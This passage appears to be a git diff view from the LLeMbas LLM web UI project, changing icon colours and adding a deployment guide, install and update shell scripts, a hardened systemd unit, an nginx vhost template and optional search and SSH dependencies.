<clipPath id="m-clip"> <clipPath id="m-clip">
<rect x="6" y="6" width="52" height="52" rx="13"/> <rect x="5" y="5" width="54" height="54" rx="14"/>
</clipPath> </clipPath>
</defs> </defs>
<rect x="6" y="6" width="52" height="52" rx="13" fill="url(#m-wafer)"/> <rect x="5" y="5" width="54" height="54" rx="14" fill="url(#m-wafer)"/>
<g clip-path="url(#m-clip)" fill="none" stroke-linecap="round"> <g clip-path="url(#m-clip)" fill="none" stroke-linecap="round">
<g stroke="#7A5C10" stroke-opacity="0.38" stroke-width="2"> <g stroke="#1F4019" stroke-opacity="0.30" stroke-width="1.8">
<path d="M32 6 V58"/> <path d="M32 5 V59"/>
<path d="M6 32 H58"/> <path d="M5 32 H59"/>
</g> </g>
<g stroke="#F6E3A8" stroke-opacity="0.3" stroke-width="1"> <g stroke="#C7E7A6" stroke-opacity="0.20" stroke-width="0.9">
<path d="M33.2 6 V58"/> <path d="M33.1 5 V59"/>
<path d="M6 33.2 H58"/> <path d="M5 33.1 H59"/>
</g> </g>
</g> </g>
<rect x="7.1" y="7.1" width="49.8" height="49.8" rx="11.9" <rect x="6.1" y="6.1" width="51.8" height="51.8" rx="12.9"
fill="none" stroke="#7A5C10" stroke-opacity="0.3" stroke-width="1.2"/> fill="none" stroke="#1F4019" stroke-opacity="0.32" stroke-width="1.2"/>
<g> <g>
<path d="M21.2 44.8 L17 49.4" stroke="#8A9AA8" stroke-width="3" <path d="M21.4 45.6 L16.3 51.2" stroke="#8B9E86" stroke-width="3"
stroke-linecap="round" fill="none"/> stroke-linecap="round" fill="none"/>
<path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="url(#m-leaf)"/> <path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="url(#m-leaf)"/>
<path d="M20.5 45.5 C28 38 36 29 45.5 18.5" fill="none" stroke="#61758A" stroke-opacity="0.5" <path d="M21 46 Q30.5 34.5 46 18" fill="none" stroke="#57734F" stroke-opacity="0.5"
stroke-width="1.5" stroke-linecap="round"/> stroke-width="1.5" stroke-linecap="round"/>
<g fill="none" stroke="#61758A" stroke-opacity="0.32" <g fill="none" stroke="#57734F" stroke-opacity="0.32"
stroke-width="1" stroke-linecap="round"> stroke-width="1" stroke-linecap="round">
<path d="M26.9 38.8 Q25.2 35.8 24.9 32.1"/> <path d="M26.8 39.2 Q24.9 37.4 24.7 35.3"/>
<path d="M32.3 33.1 Q30.9 30.3 30.4 26.9"/> <path d="M32.0 33.3 Q30.1 31.5 29.8 29.2"/>
<path d="M37.8 27.0 Q36.6 24.6 36.3 21.7"/> <path d="M37.8 26.9 Q36.4 25.6 36.1 23.7"/>
<path d="M26.9 38.8 Q30.5 40.1 33.7 40.3"/> <path d="M26.8 39.2 Q28.7 40.9 30.7 40.8"/>
<path d="M32.3 33.1 Q35.8 34.3 38.6 34.5"/> <path d="M32.0 33.3 Q33.9 35.0 36.1 34.9"/>
<path d="M37.8 27.0 Q40.8 27.9 43.2 28.1"/> <path d="M37.8 26.9 Q39.4 28.2 40.9 28.2"/>
</g> </g>
</g> </g>
</svg> </svg>

Before

Width:  |  Height:  |  Size: 2.1 KiB

After

Width:  |  Height:  |  Size: 2.1 KiB

+2 -2
View File
@@ -5,10 +5,10 @@
LLM and take the accent colour; see scripts/build_artwork.py. --> LLM and take the accent colour; see scripts/build_artwork.py. -->
<style> <style>
.base { fill: var(--lembas-ink, #1B1F23); } .base { fill: var(--lembas-ink, #1B1F23); }
.accent { fill: var(--lembas-gold, #C9A227); } .accent { fill: var(--lembas-leaf, #4C7A22); }
@media (prefers-color-scheme: dark) { @media (prefers-color-scheme: dark) {
.base { fill: var(--lembas-ink, #EDE6D6); } .base { fill: var(--lembas-ink, #EDE6D6); }
.accent { fill: var(--lembas-gold, #E0B252); } .accent { fill: var(--lembas-leaf, #9BCC5A); }
} }
</style> </style>
<g transform="translate(-5.07 110.15)"> <g transform="translate(-5.07 110.15)">

Before

Width:  |  Height:  |  Size: 4.2 KiB

After

Width:  |  Height:  |  Size: 4.2 KiB

+133
View File
@@ -0,0 +1,133 @@
# Deployment
Installs LLeMbas as a **system** service behind nginx with a self-signed
certificate. Written for a systemd + nginx host; tested on Arch.
| | Default |
|---|---|
| Service user | `lembas` (system account, `nologin`) |
| Home | `/home/lembas` |
| Install prefix | `/srv/lembas` (bind mount of the home) |
| Checkout | `$PREFIX/app` |
| Virtualenv | `$PREFIX/venv` |
| Database | `$PREFIX/data/lembas.db` |
| Environment | `$PREFIX/lembas.env` (mode 600) |
| Unit | `/etc/systemd/system/lembas.service` |
| Vhost | `/etc/nginx/conf.d/<host>.conf` |
| Listens on | `127.0.0.1:8080` — reachable only through nginx |
The prefix defaults to a bind mount of the service user's home because on many
machines the root filesystem is small while `/home` is not, and the virtualenv
plus database belong on the larger volume. Set `PREFIX=$HOME_DIR` to skip it.
## First install
```bash
SITE_HOST=chat.example ./deploy/install.sh
```
Idempotent — safe to re-run. It creates the user and bind mount, clones the
repo, builds the venv, generates `lembas.env` with a fresh `LEMBAS_SECRET_KEY`,
installs the unit and vhost, issues a self-signed certificate, adds a
`/etc/hosts` entry if the name does not already resolve, and enables the
service.
Then open `https://<SITE_HOST>`, accept the certificate warning, and create the
first account — it becomes the administrator.
Everything is overridable from the environment:
| Variable | Default | |
|---|---|---|
| `SITE_HOST` | `lembas.local` | nginx `server_name` and certificate CN |
| `APP_PORT` | `8080` | loopback port the service binds |
| `SERVICE_USER` | `lembas` | system account to run as |
| `HOME_DIR` | `/home/lembas` | that account's home |
| `PREFIX` | `/srv/lembas` | install root (bind mount of `HOME_DIR`) |
| `REPO_URL` | this checkout's `origin` | so a fork deploys itself |
| `LEMBAS_BRANCH` | `main` | branch to deploy |
## Deploying a change
```bash
git push
./deploy/update.sh
```
`update.sh` fetches, hard-resets the deployment checkout to `origin/main`,
reinstalls dependencies and restarts, printing the commits it pulled. The hard
reset is deliberate: nothing is ever edited in place there, so there is no local
work to preserve and no conflicts to resolve.
## Operating it
```bash
systemctl status lembas
journalctl -u lembas -f
sudo -u lembas /srv/lembas/venv/bin/lembas info # paths and counts
```
Configuration lives in `$PREFIX/lembas.env`. Edit it and restart.
## Notes
**The secret key is generated once.** `install.sh` will not overwrite an
existing `lembas.env`. Rotating `LEMBAS_SECRET_KEY` signs every user out *and*
makes stored upstream API keys unreadable — they would have to be re-entered.
**nginx buffering is off for a reason.** Replies stream as server-sent events.
With `proxy_buffering on` (the default) nginx holds the entire reply and
delivers it in one lump at the end, which is indistinguishable from streaming
being broken. `proxy_read_timeout` is raised to an hour because a model can
think for minutes before the first token.
**The vhost passes WebSocket upgrades through, and must.** The terminal panel
is the one WebSocket in LLeMbas. A `location` that sets `Connection ""` — which
is what SSE alone needs, and what this template used to say — fails every
handshake, and a failed handshake tells the browser nothing: no status, no
reason. The `map $http_upgrade` at the top of the vhost yields the empty string
when the client did not ask to upgrade, so streaming is unaffected. `update.sh`
warns when the installed vhost has drifted from the template, because this is
the failure most likely to be diagnosed as a bug in the application.
**Every restart kills every open shell.** A reply being written is persisted
with whatever it has; a terminal has nothing to persist, so a command still
running on the far side is cut off. `update.sh` restarts unconditionally, so a
deploy in the middle of somebody's `apt-get dist-upgrade` ends it. The panel is
told why rather than silently reconnecting to a new shell, which would have
lost the working directory and the half-typed command.
**A terminal is not in the transcript, and is not logged.** The open and the
close are logged with the user, the chat and the connection; what was typed is
not recorded anywhere. That follows from the design — the chat's mode governs
the model, not the person at the keyboard — but everything else an agent chat
does *is* in the transcript, so it is a difference in kind and worth knowing
before somebody goes looking for the history.
**Nothing an agent does runs on this machine.** Agent chats execute their
commands over SSH, on a host somebody added and prepared — a container, a VM,
another machine. That is the whole isolation story, and it is why the unit can
stay locked down instead of being opened up to make room for a sandbox.
`ProtectSystem=full` rather than `strict` only because the data directory must
be writable and `strict` would mean listing every path.
The practical consequence for whoever runs this: **the security of an agent
chat is the security of the host behind its SSH profile.** A throwaway
container with the one project mounted into it is a very different thing from a
key to a production server, and LLeMbas cannot tell them apart.
**Use a real certificate if this is exposed beyond a trusted LAN.** The
self-signed cert exists so the install works with no external dependencies;
point `ssl_certificate` at a real one and nothing else needs to change.
The session cookie is deliberately not marked `secure`, so that a LAN install
over plain http can sign anybody in at all. That has always meant a network
attacker on http could steal a session; with the terminal it also means they
could open an interactive shell on the machine behind that chat. If the
terminal is switched on, run this over TLS.
**One worker only.** True of generations already — the registry is in-process —
and sharper here: with two workers a browser reconnecting to its terminal could
land in the process that has no shell for it, and silently open a second one on
the same machine.
+163
View File
@@ -0,0 +1,163 @@
#!/usr/bin/env bash
# Install LLeMbas as a system service behind nginx with a self-signed cert.
#
# Creates a dedicated service user, a virtualenv, a systemd unit and an nginx
# vhost. Idempotent: safe to re-run. To deploy new code afterwards use
# update.sh, which is what a `git push` should be followed by.
#
# Everything is configurable from the environment:
#
# SITE_HOST=chat.example ./deploy/install.sh # vhost name
# APP_PORT=8080 # loopback port
# PREFIX=/srv/lembas # install root
# HOME_DIR=/home/lembas # service user's home
# REPO_URL=... # defaults to this checkout's origin
#
# PREFIX defaults to a bind mount of HOME_DIR rather than living directly under
# /srv, because on many machines the root filesystem is small and the venv plus
# database belong on the larger /home volume. Set PREFIX=HOME_DIR to skip that.
set -euo pipefail
HERE="$(dirname "$(readlink -f "$0")")"
SITE_HOST="${SITE_HOST:-lembas.local}"
APP_PORT="${APP_PORT:-8080}"
SERVICE_USER="${SERVICE_USER:-lembas}"
HOME_DIR="${HOME_DIR:-/home/lembas}"
PREFIX="${PREFIX:-/srv/lembas}"
BRANCH="${LEMBAS_BRANCH:-main}"
# Default to wherever this checkout came from, so a fork deploys itself.
REPO_URL="${REPO_URL:-$(git -C "$HERE" remote get-url origin 2>/dev/null || true)}"
APP="$PREFIX/app"
VENV="$PREFIX/venv"
ENV_FILE="$PREFIX/lembas.env"
if [[ -z "$REPO_URL" ]]; then
echo "Could not determine REPO_URL. Set it explicitly." >&2
exit 1
fi
echo "== plan =="
echo " host : https://$SITE_HOST -> 127.0.0.1:$APP_PORT"
echo " user : $SERVICE_USER ($HOME_DIR)"
echo " prefix : $PREFIX"
echo " repo : $REPO_URL ($BRANCH)"
echo "== service user =="
# --system: no ageing, no mail spool. Home under /home, not /var/lib, so the
# venv and database sit on the larger volume.
if ! getent passwd "$SERVICE_USER" >/dev/null; then
sudo useradd --system --create-home --home-dir "$HOME_DIR" \
--shell /usr/bin/nologin --comment "LLeMbas" "$SERVICE_USER"
else
echo " user $SERVICE_USER already exists"
fi
sudo chmod 755 "$HOME_DIR"
if [[ "$PREFIX" != "$HOME_DIR" ]]; then
echo "== $PREFIX bind-mount onto $HOME_DIR =="
sudo mkdir -p "$PREFIX"
grep -q "^$HOME_DIR[[:space:]]" /etc/fstab \
|| echo "$HOME_DIR $PREFIX none bind 0 0" | sudo tee -a /etc/fstab >/dev/null
sudo systemctl daemon-reload
mountpoint -q "$PREFIX" || sudo mount "$PREFIX"
fi
echo "== checkout =="
if [[ ! -d "$APP/.git" ]]; then
sudo -u "$SERVICE_USER" git clone --branch "$BRANCH" "$REPO_URL" "$APP"
else
echo " already cloned; use update.sh to pull"
fi
echo "== virtualenv =="
if [[ ! -x "$VENV/bin/python" ]]; then
sudo -u "$SERVICE_USER" python -m venv "$VENV"
fi
sudo -u "$SERVICE_USER" "$VENV/bin/pip" install --quiet --upgrade pip
# The extras a deployment gets. `search` because DuckDuckGo is the default web
# search provider and is meant to need no setup; `ssh` because agent chats reach
# their machine over it and a deployment without it offers the feature with an
# install hint instead. Listed here AND in update.sh -- an extra added to only
# one of them means existing deployments silently miss it.
LEMBAS_EXTRAS="${LEMBAS_EXTRAS:-search,ssh}"
sudo -u "$SERVICE_USER" "$VENV/bin/pip" install --quiet -e "$APP[$LEMBAS_EXTRAS]"
echo "== environment =="
# Generated once and never regenerated: rotating LEMBAS_SECRET_KEY signs every
# user out AND makes the stored upstream API keys unreadable.
if [[ ! -f "$ENV_FILE" ]]; then
KEY=$("$VENV/bin/python" -c "import secrets; print(secrets.token_urlsafe(48))")
sudo tee "$ENV_FILE" >/dev/null <<EOF
# LLeMbas service environment. Generated by deploy/install.sh.
# LEMBAS_SECRET_KEY signs sessions and encrypts stored API keys.
# Changing it signs everyone out and makes stored API keys unreadable.
LEMBAS_SECRET_KEY=$KEY
LEMBAS_DATA_DIR=$PREFIX/data
# Loopback only: reachable through the nginx vhost, never directly.
LEMBAS_HOST=127.0.0.1
LEMBAS_PORT=$APP_PORT
LEMBAS_LOG_LEVEL=info
LEMBAS_ALLOW_SIGNUP=true
LEMBAS_DEFAULT_THEME=moria
EOF
sudo chown "$SERVICE_USER:$SERVICE_USER" "$ENV_FILE"
sudo chmod 600 "$ENV_FILE"
echo " generated $ENV_FILE"
else
echo " $ENV_FILE exists, keeping it (and its secret key)"
fi
sudo install -d -o "$SERVICE_USER" -g "$SERVICE_USER" -m 750 "$PREFIX/data"
echo "== systemd unit =="
sed -e "s|__PREFIX__|$PREFIX|g" -e "s|__SERVICE_USER__|$SERVICE_USER|g" \
"$HERE/lembas.service" | sudo tee /etc/systemd/system/lembas.service >/dev/null
# Which version of the template this host is running. update.sh compares
# against it and says so when the template moves on, because the installed
# unit usually grows host-specific lines and cannot simply be overwritten.
sha256sum "$HERE/lembas.service" | cut -d' ' -f1 | sudo tee "$PREFIX/.unit-applied" >/dev/null
sudo systemctl daemon-reload
echo "== self-signed cert for $SITE_HOST =="
sudo mkdir -p /etc/nginx/ssl
if [[ ! -f "/etc/nginx/ssl/$SITE_HOST.crt" ]]; then
sudo openssl req -x509 -newkey rsa:2048 -nodes \
-keyout "/etc/nginx/ssl/$SITE_HOST.key" -out "/etc/nginx/ssl/$SITE_HOST.crt" \
-days 3650 -subj "/CN=$SITE_HOST" -addext "subjectAltName=DNS:$SITE_HOST"
sudo chmod 600 "/etc/nginx/ssl/$SITE_HOST.key"
sudo chmod 644 "/etc/nginx/ssl/$SITE_HOST.crt"
fi
echo "== nginx vhost =="
sed -e "s|__SITE_HOST__|$SITE_HOST|g" -e "s|__APP_PORT__|$APP_PORT|g" \
"$HERE/nginx-vhost.conf" | sudo tee "/etc/nginx/conf.d/$SITE_HOST.conf" >/dev/null
sudo nginx -t
sudo systemctl reload nginx
# What this host was installed with, so update.sh can name the vhost it should
# be comparing against and print a command that actually runs. Without it the
# drift check below could only say "something changed somewhere".
printf 'SITE_HOST=%s\nAPP_PORT=%s\n' "$SITE_HOST" "$APP_PORT" \
| sudo tee "$PREFIX/.deploy-env" >/dev/null
sha256sum "$HERE/nginx-vhost.conf" | cut -d' ' -f1 \
| sudo tee "$PREFIX/.vhost-applied" >/dev/null
echo "== local name resolution =="
# Only useful when the LAN's DNS does not already answer for this name.
if ! getent hosts "$SITE_HOST" >/dev/null; then
printf '127.0.0.1\t%s\n::1\t\t%s\n' "$SITE_HOST" "$SITE_HOST" | sudo tee -a /etc/hosts >/dev/null
echo " added $SITE_HOST to /etc/hosts"
else
echo " $SITE_HOST already resolves"
fi
echo "== enable service =="
sudo systemctl enable --now lembas
sleep 2
sudo systemctl --no-pager --lines=0 status lembas || true
echo
echo "LLeMbas is up at https://$SITE_HOST (self-signed cert; accept the warning)"
echo "Create the first account -- it becomes the administrator."
+54
View File
@@ -0,0 +1,54 @@
# LLeMbas system service template.
#
# install.sh substitutes __PREFIX__ and __SERVICE_USER__ and writes the result
# to /etc/systemd/system/lembas.service. Edit this file, not the installed copy.
#
# A system unit, not a user unit, so it survives logout and comes up at boot
# without anyone signing in.
[Unit]
Description=LLeMbas - web UI for language models
After=network-online.target
Wants=network-online.target
# The prefix is usually a bind mount; the venv and database live there, so
# starting before it is mounted would create an empty database in its place.
RequiresMountsFor=__PREFIX__
[Service]
Type=simple
User=__SERVICE_USER__
Group=__SERVICE_USER__
WorkingDirectory=__PREFIX__/app
EnvironmentFile=__PREFIX__/lembas.env
ExecStart=__PREFIX__/venv/bin/lembas serve
Restart=on-failure
RestartSec=5
# The bind address comes from LEMBAS_HOST in the environment file, which the
# installer sets to 127.0.0.1: reachable through nginx, never directly.
# --- Hardening -------------------------------------------------------------
# Agent chats run their commands over SSH, on a machine somebody chose and
# prepared -- a container, a VM, another host. Nothing an agent does executes
# here, which is what lets this stay locked down rather than being opened up to
# make room for a sandbox.
#
# ProtectSystem stays `full` rather than `strict` only because the data
# directory has to be writable and `strict` would need every path spelled out.
NoNewPrivileges=yes
PrivateTmp=yes
ProtectSystem=full
ProtectKernelTunables=yes
ProtectControlGroups=yes
RestrictSUIDSGID=yes
ReadWritePaths=__PREFIX__
LimitNOFILE=65535
# Bounds on the service as a whole. Not aimed at anything in particular; a web
# application that has grown a habit of holding network connections open is
# worth a ceiling.
TasksMax=2048
MemoryMax=8G
[Install]
WantedBy=multi-user.target
+88
View File
@@ -0,0 +1,88 @@
# nginx vhost template for LLeMbas.
#
# install.sh substitutes __SITE_HOST__ and __APP_PORT__ and writes the result to
# /etc/nginx/conf.d/<host>.conf. Edit this file, not the installed copy.
#
# Assumes a self-signed certificate at /etc/nginx/ssl/<host>.{crt,key}, which
# install.sh generates. To use a real certificate, point ssl_certificate at it;
# nothing else here needs to change.
# The terminal panel is a WebSocket, and a proxy that does not pass an upgrade
# through breaks it with no error either side can report -- the browser sees a
# failed handshake, which carries no status and no reason. This map yields
# "upgrade" only when the client asked for one and the empty string otherwise,
# which is exactly what the streamed-reply case below needs, so one `location`
# serves both. `conf.d/*.conf` is included inside `http {}`, where `map` is
# legal; the name is prefixed because two vhosts from this template would
# otherwise collide.
map $http_upgrade $lembas_connection_upgrade {
default upgrade;
'' '';
}
server {
listen 80;
listen [::]:80;
server_name __SITE_HOST__;
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
listen [::]:443 ssl;
http2 on;
server_name __SITE_HOST__;
ssl_certificate /etc/nginx/ssl/__SITE_HOST__.crt;
ssl_certificate_key /etc/nginx/ssl/__SITE_HOST__.key;
ssl_protocols TLSv1.2 TLSv1.3;
# File uploads land here once that feature exists; 0 = no limit.
client_max_body_size 0;
location / {
proxy_pass http://127.0.0.1:__APP_PORT__;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
# Streamed replies are server-sent events. Every one of these matters:
# with buffering on (the default) nginx holds the whole reply and
# delivers it in one lump at the end, which is indistinguishable from
# streaming being broken.
proxy_buffering off;
proxy_request_buffering off;
proxy_cache off;
# SSE is plain HTTP/1.1 chunked and needs Connection left empty; the
# terminal is a real upgrade and needs it set. The map at the top of
# this file is what lets one location do both -- a hard-coded
# `Connection ""` here, which is what was here before, works for every
# streamed reply and silently breaks every terminal.
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $lembas_connection_upgrade;
# A model can think for minutes before the first token. The default
# 60s read timeout would cut long generations off mid-sentence.
proxy_read_timeout 3600s;
proxy_send_timeout 3600s;
}
location /static/ {
proxy_pass http://127.0.0.1:__APP_PORT__;
proxy_set_header Host $host;
expires 1h;
add_header Cache-Control "public";
}
# The service worker must never be cached. A stale worker keeps serving a
# stale cache to every tab, and there is no way to tell it to stop. The
# application already sends no-store; this stops the proxy overriding it.
# /manifest.webmanifest needs nothing special and comes through location /.
location = /sw.js {
proxy_pass http://127.0.0.1:__APP_PORT__;
proxy_set_header Host $host;
add_header Cache-Control "no-store";
}
}
+145
View File
@@ -0,0 +1,145 @@
#!/usr/bin/env bash
# Pull the latest LLeMbas into the deployment and restart the service.
#
# Run this after pushing. It fetches, hard-resets the deployment checkout to the
# remote branch, reinstalls dependencies if they changed, and restarts. Nothing
# is ever edited in place under the deployment prefix, so a hard reset is safe
# and avoids merge conflicts from a dirty tree.
set -euo pipefail
SERVICE_USER="${SERVICE_USER:-lembas}"
PREFIX="${PREFIX:-/srv/lembas}"
BRANCH="${LEMBAS_BRANCH:-main}"
APP="$PREFIX/app"
VENV="$PREFIX/venv"
if [[ ! -d "$APP/.git" ]]; then
echo "No deployment at $APP. Run deploy/install.sh first." >&2
exit 1
fi
git_as() { sudo -u "$SERVICE_USER" git -C "$APP" "$@"; }
before=$(git_as rev-parse HEAD)
echo "== fetching =="
git_as fetch --quiet origin "$BRANCH"
git_as reset --hard --quiet "origin/$BRANCH"
after=$(git_as rev-parse HEAD)
if [[ "$before" == "$after" ]]; then
echo " already at ${after:0:7}, nothing to pull"
else
echo " ${before:0:7} -> ${after:0:7}"
git_as --no-pager log --oneline "$before..$after" | sed 's/^/ /'
fi
# Cheap and idempotent; catches a dependency added since the last deploy.
# The extras a deployment gets. `search` because DuckDuckGo is the default web
# search provider and is meant to need no setup; `ssh` because agent chats reach
# their machine over it and a deployment without it offers the feature with an
# install hint instead. Listed here AND in install.sh -- an extra added to only
# one of them means existing deployments silently miss it.
LEMBAS_EXTRAS="${LEMBAS_EXTRAS:-search,ssh}"
echo "== dependencies =="
sudo -u "$SERVICE_USER" "$VENV/bin/pip" install --quiet -e "$APP[$LEMBAS_EXTRAS]"
# The unit is NOT reinstalled automatically. An installed unit usually carries
# host-specific lines the template cannot know about -- an ordering dependency
# on whatever serves the models, a note about how the prefix is mounted -- and
# overwriting those on every update would be a worse surprise than drifting.
#
# So this compares the *template* against the one last applied here, not the
# template against the installed file. Comparing the files would warn forever
# about the local lines, and a warning that always fires is one nobody reads.
#
# The drift is worth catching: a change in the unit can be what makes a release
# work at all, and a host that pulled the code without it would run the new
# version under the old settings and fail confusingly.
STAMP="$PREFIX/.unit-applied"
current=$(sha256sum "$APP/deploy/lembas.service" | cut -d' ' -f1)
if [[ -f "$STAMP" && "$(cat "$STAMP")" != "$current" ]]; then
echo "== systemd unit ==" >&2
echo " deploy/lembas.service has changed since it was last applied here." >&2
echo " Review it and merge by hand, keeping this host's own lines:" >&2
echo " diff /etc/systemd/system/lembas.service <(sed \\" >&2
echo " -e 's|__PREFIX__|$PREFIX|g' -e 's|__SERVICE_USER__|$SERVICE_USER|g' \\" >&2
echo " $APP/deploy/lembas.service)" >&2
echo " Then: sudo systemctl daemon-reload && sudo systemctl restart lembas" >&2
echo " And record it as applied: echo $current | sudo tee $STAMP" >&2
elif [[ ! -f "$STAMP" ]]; then
# First run after this check was added. Assume what is installed is current;
# there is nothing to compare against and crying wolf on every host once is
# not worth it.
echo "$current" | sudo tee "$STAMP" >/dev/null
fi
# The same argument for the vhost, and the failure is worse. A stale unit at
# least says something in the journal; a stale vhost breaks a feature two layers
# away, and the only symptom is a panel that says it could not connect. The
# terminal is a WebSocket, and a `location` that does not pass an upgrade
# through fails every handshake while every test in the suite still passes.
VHOST_STAMP="$PREFIX/.vhost-applied"
vhost_now=$(sha256sum "$APP/deploy/nginx-vhost.conf" | cut -d' ' -f1)
site_host=""; app_port=""
# Written by install.sh, and absent on every deployment that predates it --
# which is the case that most needs the one-time check below, so the port is
# recovered from the environment file and the vhost found by what it proxies to.
# Guessing "your-host" instead would have skipped the check on exactly the hosts
# it was added for.
if [[ -f "$PREFIX/.deploy-env" ]]; then
. "$PREFIX/.deploy-env"
site_host="$SITE_HOST"; app_port="$APP_PORT"
fi
if [[ -z "$app_port" && -f "$PREFIX/lembas.env" ]]; then
app_port=$(sed -n 's/^LEMBAS_PORT=//p' "$PREFIX/lembas.env" | tail -1)
fi
app_port="${app_port:-8080}"
installed_vhost=""
if [[ -n "$site_host" && -f "/etc/nginx/conf.d/$site_host.conf" ]]; then
installed_vhost="/etc/nginx/conf.d/$site_host.conf"
else
installed_vhost=$(grep -ls "proxy_pass http://127.0.0.1:$app_port" \
/etc/nginx/conf.d/*.conf 2>/dev/null | head -1)
fi
vhost_stale=""
if [[ -f "$VHOST_STAMP" ]]; then
[[ "$(cat "$VHOST_STAMP")" != "$vhost_now" ]] && vhost_stale="the template has changed"
elif [[ -n "$installed_vhost" ]]; then
# First run with this check, so there is no stamp to compare against. Rather
# than assume what is installed is current -- which is what the unit check
# does, and would hide exactly the change this was added for -- look for the
# one thing that must be there. Everything else is left to the stamp.
grep -q 'lembas_connection_upgrade' "$installed_vhost" \
|| vhost_stale="the installed vhost does not pass WebSocket upgrades through, so the terminal cannot connect"
fi
if [[ -n "$vhost_stale" ]]; then
echo "== nginx vhost ==" >&2
echo " $vhost_stale." >&2
echo " Review and reinstall it:" >&2
echo " diff ${installed_vhost:-/etc/nginx/conf.d/your-host.conf} <(sed \\" >&2
echo " -e 's|__SITE_HOST__|${site_host:-your-host}|g' -e 's|__APP_PORT__|$app_port|g' \\" >&2
echo " $APP/deploy/nginx-vhost.conf)" >&2
echo " Then: sudo nginx -t && sudo systemctl reload nginx" >&2
echo " And record it as applied: echo $vhost_now | sudo tee $VHOST_STAMP" >&2
elif [[ ! -f "$VHOST_STAMP" ]]; then
echo "$vhost_now" | sudo tee "$VHOST_STAMP" >/dev/null
fi
echo "== restart =="
sudo systemctl restart lembas
sleep 2
if systemctl is-active --quiet lembas; then
echo " lembas is running"
else
echo " lembas FAILED to start:" >&2
sudo journalctl -u lembas -n 30 --no-pager >&2
exit 1
fi
+15 -1
View File
@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
[project] [project]
name = "lembas" name = "lembas"
version = "0.1.0" version = "0.6.2"
description = "LLeMbas - a Middle-earth themed web UI for OpenAI-compatible LLM endpoints" description = "LLeMbas - a Middle-earth themed web UI for OpenAI-compatible LLM endpoints"
readme = "README.md" readme = "README.md"
requires-python = ">=3.11" requires-python = ">=3.11"
@@ -30,8 +30,11 @@ dependencies = [
"cryptography>=43.0", "cryptography>=43.0",
"markdown-it-py>=3.0", "markdown-it-py>=3.0",
"mdit-py-plugins>=0.4", "mdit-py-plugins>=0.4",
"linkify-it-py>=2.0", # bare URLs in model output become links
"pygments>=2.18", "pygments>=2.18",
"nh3>=0.2.18", "nh3>=0.2.18",
"pypdf>=5.1", # PDF text extraction for attachments
"pillow>=11.0", # image validation and downscaling for vision
"typer>=0.12", "typer>=0.12",
] ]
@@ -41,6 +44,17 @@ dev = [
"pytest-asyncio>=0.24", "pytest-asyncio>=0.24",
"ruff>=0.7", "ruff>=0.7",
] ]
# DuckDuckGo search. Optional because it brings a compiled HTTP client and an
# XML parser with it, and the other two search providers need only httpx, which
# is already a core dependency. Without this the provider is offered in the
# admin UI with an install hint rather than silently missing.
search = ["ddgs>=9.0"]
# Agent chats, which run their commands on a machine reached over SSH. Optional
# on the same terms as `search`: an instance that never turns agents on should
# not carry the dependency, and one that does gets told how to install it rather
# than finding the feature silently missing. `bcrypt` is what decrypts a
# passphrase-protected OpenSSH key -- without it, pasting one fails opaquely.
ssh = ["asyncssh[bcrypt]>=2.14"]
[project.scripts] [project.scripts]
lembas = "lembas.cli:app" lembas = "lembas.cli:app"
Regular → Executable
+173 -51
View File
@@ -14,8 +14,14 @@ are extracted, as a static drawing -- no font binary is redistributed.
This is a design-time tool. The application never imports it, and the generated This is a design-time tool. The application never imports it, and the generated
files are committed. Re-run it only when the artwork itself changes: files are committed. Re-run it only when the artwork itself changes:
pip install fonttools pip install fonttools cairosvg
python scripts/build_artwork.py python scripts/build_artwork.py
cairosvg is needed only for the PWA icons, which have to be PNG: an installed
web app's icon is drawn by the operating system's launcher, and neither
Android's adaptive-icon masking nor iOS's home screen will take an SVG. The
rasterisation happens here, once, and the PNGs are committed like everything
else -- the running application still has no build step and no rasteriser.
""" """
from __future__ import annotations from __future__ import annotations
@@ -35,6 +41,19 @@ except ImportError: # pragma: no cover - design-time tool
ROOT = Path(__file__).resolve().parent.parent ROOT = Path(__file__).resolve().parent.parent
ASSETS = ROOT / "assets" ASSETS = ROOT / "assets"
STATIC_IMG = ROOT / "src" / "lembas" / "web" / "static" / "img"
# assets/ holds the design masters; the application serves its own copies from
# static/. These are the few the running app actually needs.
SERVED_BY_APP = (
"favicon.svg",
"logo-mark.svg",
"banner.svg",
"icon-192.png",
"icon-512.png",
"icon-maskable-512.png",
"apple-touch-icon-180.png",
)
FONT_SEMIBOLD = Path("/usr/share/fonts/adobe-source-serif/SourceSerif4Display-Semibold.otf") FONT_SEMIBOLD = Path("/usr/share/fonts/adobe-source-serif/SourceSerif4Display-Semibold.otf")
FONT_ITALIC = Path("/usr/share/fonts/adobe-source-serif/SourceSerif4Display-It.otf") FONT_ITALIC = Path("/usr/share/fonts/adobe-source-serif/SourceSerif4Display-It.otf")
@@ -45,18 +64,26 @@ TAGLINE = "Waybread for the long road of thought"
ACCENT_GLYPHS = frozenset({0, 1, 3}) ACCENT_GLYPHS = frozenset({0, 1, 3})
# --- Palette ----------------------------------------------------------------- # --- Palette -----------------------------------------------------------------
GOLD_LIGHT = "#EACB74" # The wafer is mallorn green because that is how lembas travels: wrapped in the
GOLD = "#C9A227" # leaves, not bare. Green also leaves yellow free to mean one thing in the
GOLD_DARK = "#916F13" # interface -- a warning -- instead of two.
GOLD_SCORE = "#7A5C10" WAFER_LIGHT = "#7FB758"
GOLD_HILIGHT = "#F6E3A8" WAFER = "#4C8C33"
RUNE_GOLD = "#E0B252" WAFER_DARK = "#2A5522"
WAFER_SCORE = "#1F4019"
WAFER_HILIGHT = "#C7E7A6"
# The brand green, matching --leaf in tokens.css. Type accent and the drifting
# leaves on the banner.
MALLORN = "#9BCC5A"
MALLORN_DEEP = "#4C7A22"
LEAF_EDGE = "#93A5B6" # The blade stays pale: a leaf the same green as the wafer it lies on has no
LEAF_LIGHT = "#F1F6FA" # silhouette, and the silhouette is the whole mark at 16px.
